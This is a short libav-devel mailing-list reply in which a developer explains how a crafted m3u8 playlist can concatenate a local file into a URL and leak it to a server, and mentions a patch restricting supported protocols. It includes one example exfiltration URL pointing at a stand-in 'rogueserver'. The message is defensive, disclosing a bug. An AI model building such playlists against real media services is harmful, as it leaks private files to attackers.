On 13/01/16 18:46, Rémi Denis-Courmont wrote:
> How and to whom? I fail to see a bug.

In a moderately convoluted way one can upload a m3u8 that references to
the concatenation of a playlist and the file you want to leak

the playlist concatenated to the file forms a

http://rogueserver/steal?thefileuntilanendlineormaxurllenght

so you can pass some content of the file through that GET.

Since I got a report on security@ I just baked this patch to make easier
to restrict the supported protocols.

One might use it to blacklist http to prefer the https variants in
certain scenarios.

lu
_______________________________________________
libav-devel mailing list
[email protected]
https://lists.libav.org/mailman/listinfo/libav-devel

Reply via email to